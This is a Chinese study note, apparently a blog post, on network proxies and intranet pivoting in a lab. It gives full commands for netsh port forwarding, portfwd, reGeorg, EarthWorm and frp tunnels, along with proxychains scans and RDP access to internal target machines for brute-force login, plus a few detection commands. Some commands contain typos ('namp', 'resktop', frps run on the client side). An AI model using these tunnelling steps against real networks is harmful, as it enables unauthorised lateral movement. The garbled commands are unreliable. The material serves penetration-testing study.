中国门户网站建设重要性,做网站需要学哪些语言,电脑做系统ppt下载网站,泉州网站建设公司8月9日笔记
什么是代理?
“代理”通常指的是“网络代理”#xff0c;它是一种特殊的网络服务#xff0c;允许一个网络终端#xff08;一般为客户端#xff09;通过这个服务与另一个网络终端#xff08;一般为服务器#xff09;进行非直接的连接。代理服务器作为中间人…8月9日笔记
什么是代理?
“代理”通常指的是“网络代理”它是一种特殊的网络服务允许一个网络终端一般为客户端通过这个服务与另一个网络终端一般为服务器进行非直接的连接。代理服务器作为中间人接收来自客户端的请求并将这些请求转发给目标服务器然后再将从目标服务器接收到的响应返回给客户端。 这是没有代理时的请求与响应。 有代理时的请求与响应。
正向代理
正向代理时由客户端发送对某一个目标服务器的请求发送到代理服务器代理服务器在中间将请求转发给该目标服务器目标服务器将结果返回给代理服务器代理服务器再将结果返回给客户端。
客户端发送的所有请求都先经过代理服务器然后由代理服务器转发给目标服务器。使用正向代理时客户端是需要配置代理服务的地址、端口、账号密码如有等才可使用的。比如翻墙等等。 通过使用代理服务器客户端的真实IP地址可以被隐藏从而实现一定程度的匿名访问。
反向代理
反向代理是一种特殊的网络代理服务它位于一组后端服务器前面接收客户端的请求并将这些请求转发给后端服务器之一。客户端并不直接与后端服务器通信而是通过反向代理服务器间接访问。这种配置主要用于负载均衡、缓存、安全性增强以及简化管理等多种目的。通过反向代理可以将客户端的请求分发到多个后端服务器以平衡负载存储常用的静态内容以减少对后端服务器的请求次数隐藏真实服务器的IP地址以增加安全性。 正向代理和反向代理的区别
最核心的不同在于代理的对象不同
正向代理是代理客户端
反向代理是代理服务器。
而根据这核心的区别可以知道代理哪端便可以隐藏哪端也就是说正向代理隐藏真实客户端反向代理隐藏真实服务端。
内网代理常见的工具
某些情况下为保护内网安全以及优化网站负载服务端也会使用代理程序代理大量来自客户端的网络请求反向代理主要面向服务端服务客户端的请求会直接发给代理服务器代理服务器会转发至服务端并将服务端响应返回值客户端。故而反向代理的过程中客户端无法确定真实服务端地址仅与代理端进行通信。攻击者在成功入侵某一台对外服务器后也会利用以上代理原理进行内网横向渗透进一步扩大战果上传代理工具至对外服务器将其改造为跳板机建立通往内网的通信隧道。
netsh端口转发
netsh是windows系统自带命令行程序攻击者无需上传第三方工具即可利用netsh程序可进行端口转发操作可将内网中其他服务器的端口转发至本地访问如内网某台服务器的ssh端口可转发至本地即可通过暴力破解或弱口令方式尝试登陆目标服务器。
靶机A是web服务器靶机B在内网中。攻击者获取到靶机A的服务器权限靶机B位于内网且未映射至互联网此时通过利用靶机A自带命令行程序netshnetsh可将攻击者的流量经由靶机A转发至靶机B使得攻击者可以访问到位于内网的靶机B。
设置端口转发规则命令
netsh interface portproxy add v4tov4listenaddress靶机A IP地址listenport靶机A端口connectaddress靶机B IP地址connectport靶机B 端口protocol{tcp|udp}这样攻击者只要使用靶机A的端口就可以访问靶机B的端口。
删除端口转发策略命令
netsh interface portproxy delete v4tov4
2 listenaddress靶机A IP地址
3 listenport靶机A 端口
4 protocol{tcp|udp}使用以下命令可以确认主机是否被恶意植入了端口转发策略(反制)
netsh interface portproxy show v4tov4portfwd端口转发
portfwd是一款强大的端口转发工具支持TCPUDP支持IPV4以及IPV6的端口转发。攻击者在获取对外服务器权限后为扩大战果会上传端口转发工具至对外服务器获得更多的可攻击面。例如将失陷主机的任意可访问端口转发至内网某台服务器的远程桌面端口即可通过暴力破解和弱口令的方式尝试登陆内网服务器。实际环境下攻击者利用靶机的漏洞上传改工具。
portfwd分为两种tcpfwd和udpfwd
用法
用tcp连接将本地端口 1022 映射到 192.168.5.138:3389
---------------------------
tcpfwd 0.0.0.0:1022 192.168.1.77:22 # allow access from all hosts
tcpfwd 127.0.0.1:1022 192.168.1.77:22 # only allow localhost
tcpfwd [::]:1022 192.168.1.77:22 # allow access to port 1022 via both IPv4 and IPv6
-----------------------------------
用udp连接将本地端口 53 映射到 192.168.5.138:3389
-------------------------
udpfwd 0.0.0.0:53 8.8.8.8:53
udpfwd [::]:53 8.8.8.8:53通过如下命令可以确定进程的可执行文件所在位置并进行清除。(反制)
ls -al /proc/pid在靶机B上运行如下命令可以看到靶机A与自身的远程桌面3389端口建立了tcp连接。(反制)
netstat -anoregeorg正向代理
ReGeorg 是一个用于内网穿透的工具它能够帮助用户在受到防火墙或网络限制的情况下建立到目标网络的连接。ReGeorg 主要通过使用 HTTP 协议作为传输层来实现这一目的因此可以在大多数网络环境下工作即使是在那些禁止了其他协议如 SSH 或 Telnet的网络中。
攻击机:kali 192.168.5.15
靶机A(web服务器):192.168.5.114
靶机B:192.168.5.124
ReGeorg 通常通过 Python 脚本来实现。要使用 ReGeorg靶机A需要具备 Python 环境并安装必要的依赖包。安装过程通常包括克隆项目仓库并安装所需的 Python 库。
在攻击机上执行如下命令下载regeorg代理工具包
git clone https://github.com/sensepost/reGeorg.git在攻击机上运行socks代理脚本
python reGeorgSocksProxy.py -u http://192.168.5.114:8080/reGeorg-master/tunnel.jsp -p 1088
-u: 指定 HTTP 代理服务器的 URL 地址该 URL 地址指向了一个包含 ReGeorg 代理脚本的 Web 服务器。
-p: 指定本地监听的端口客户端可以通过这个端口连接到 SOCKS 代理。提示georg says, ‘all seems fine’说明连接成功已完成端口复用。
在攻击机上配置本地全局代理proxychains使得本地攻击流量可通过regeorg创建的http隧道转发至内网其他服务器。攻击机自带proxychains全局代理工具默认路径为/etc/proxychains4.conf,编辑配置文件在文件最后增加如下配置Socks5 127.0.0.1 1088
以上配置使得攻击机可将支持socks5协议的攻击流量通过本地1088端口转发至靶机A再通过靶机A转发至内网其他服务器。
通过靶机A转发到靶机B的命令(在攻击机上运行)
proxychains telnet 192.168.5.124 445查看靶机A上的网络连接可以看到攻击机的请求成功实现端口复用复用了java进程创建的端口连接了靶机B的445端口。查看靶机B的网络连接无法看到攻击机ip地址靶机A作为攻击机的正向代理。
使用端口扫描工具对靶机B进行端口扫描
proxychains4 namp -sV -Pn 192.168.5.124此时在靶机B上看到的所有端口扫描请求源地址均来自靶机A而不是攻击机。
earthworm反向代理
Earthworm有时拼写为 Arthworm是一套便携式的网络穿透工具它提供了 socks 代理和端口转发两大核心功能支持正向代理、反向代理、多级代理等多种方式来打通网络隧道。Earthworm 能够在复杂网络环境下完成网络穿透和内网横向渗透的任务。
利用earthworm反向代理进行内网横向渗透
靶机A: 192.168.5.10
靶机B: 192.168.5.12
攻击机: 192.168.5.2
工具攻击机下载:
git clone https://github.com/idlefire/ew.git./ew_for_linux64 -s rcsocks -l 1080 -e 8888
#在攻击机本地开启1080和8888监听端口并将1080端口收到的流量转发至8888端口。 使用命令netstat -antlp 可以看到攻击机本地开启了1080和8888监听端口。
#在靶机A上上传earthworm,并运行如下命令连接攻击机的8888端口建立与攻击机的反向代理。
./ew -s rssocks -d vpsip -e 8888在攻击机上修改全局代理软件proxychains的配置文件默认路径为/etc/proxychains4.conf。编辑配置文件在文件最后增加如下配置Socks5 127.0.0.1 1080
实际环境下攻击机地址一般为公网vps地址若为公网vps地址此时全局代理配置ip应设置为vps地址。
在攻击机上使用如下命令通过代理隧道探测靶机B的3389端口是否开启telnet使用的是tcp协议而socks5协议支持tcp和udp协议数据的传递。
proxychains telnet 192.168.5.12 3389在靶机B上只能看到靶机A的地址与自身3389端口建立了连接无法看到攻击机地址。
此时利用全局代理以及靶机A的代理隧道即使靶机B处于内网无法通过外网访问也可通过此代理隧道实现远程登录靶机B实现内网的横向移动。
使用如下命令远程登录靶机B
proxychains4 resktop 192.168.5.12攻击机弹出了靶机B的远程桌面端口此时若靶机B使用了弱密码或被暴力破解成功即可实现远程登录。
使用earthworm多级代理进行内网横向渗透
靶机A: 192.168.5.10
靶机B: 192.168.5.12
靶机C: 192.168.5.16
攻击机: 192.168.5.2
某些条件下内网某些服务器无法访问互联网需通过级联的方式将可访问互联网的主机作为一级代理连接攻击机二级代理连接一级代理主机即可形成通信隧道攻击机可通过级联的方式将攻击流量转发至更深入的内网。
在攻击机上运行如下命令可在攻击机本地开启1080和6666监听端口并将1080端口收到的流量转发至6666端口。
./ew -s lcx_listen -l 1080 -e 6666#在靶机B上运行如下命令可开启9999端口的正向代理
./ew -s ssocksd -l 9999
#在靶机A上运行如下命令同时连接攻击机的反向代理端口和靶机B的正向代理端口
./ew -s lcx_slave -d 192.168.5.2 -e 6666 -f 192.168.5.12 -g 9999在攻击机上使用如下命令通过代理隧道探测靶机C的3389端口是否开启telnet使用的是tcp协议而socks5协议支持tcp和udp协议数据的传递。
proxychains telnet 192.168.5.16 3389此时登录靶机C查看网络连接会看到telnet请求触发的tcp连接发起端为靶机B。说明攻击机发起的请求经由靶机A转发至靶机B有经由靶机B的正向代理转发至靶机C。
proxychains4 resktop 192.168.5.16
#攻击机弹出了靶机C的远程桌面端口此时若靶机C使用了弱密码或被暴力破解成功即可实现远程登录。frp反向代理
frpFast Reverse Proxy是一个高性能的反向代理应用用于实现内网穿透可以在复杂网络环境下帮助用户建立网络连接。frp 主要用于解决内网服务器无法被外部网络直接访问的问题通过在公网服务器上部署 frp 服务器端并在内网服务器上部署 frp 客户端实现内外网之间的通信。
服务器端 (frps)部署在公网服务器上负责接收客户端的连接请求并将请求转发到对应的内网服务器。客户端 (frpc)部署在内网服务器上负责与服务器端建立连接并将数据转发给服务器端。
但此类操作存在较大安全隐患会将内网服务直接暴露在公网。
靶机A: 192.168.5.10
靶机B: 192.168.5.12
攻击机: 192.168.5.2
工具下载
wget https://github.com/fatedier/frp/releases/download/v0.35.1/frp_0.35.1_linux_amd64.tar.gz首先需要修改两个配置文件frps.ini和frpc.ini
frps.ini修改内容
[common]
bind_addr 0.0.0.0
bind_port 33310
allow_ports 33310-33410
token 52010 #随便自己改在攻击机(公网服务器)上启动服务端
./frps -c frps.ini frpc.ini修改内容
[common]
server_addr 192.168.5.2 #指定了 frp 服务器端的 IP 地址。
server_port 33310 #指定了 frp 服务器端监听的端口
token 52010[socks_proxy]
type tcp
plugin socks5
remote_port 33311 #指定了在服务器端公开的端口,客户端可以通过这个端口连接到 SOCKS5 代理。
local_port 33311 #指定了本地监听的端口,客户端将通过这个端口与 SOCKS5 代理进行通信。在内网靶机A(内网服务器)上反向代理客户端
./frps -c frps.ini 在攻击机上修改全局代理软件proxychains的配置文件默认路径为/etc/proxychains4.conf配置socks5代理地址和端口如下
socks5 127.0.0.1 33311proxychains4 resktop 192.168.5.12
攻击机弹出了靶机B的远程桌面端口此时若靶机B使用了弱密码或被暴力破解成功即可实现远程登录。注意这个是在本地进行测试的在公网服务器上的话frps.ini和frpc.ini配置跟上面不一样。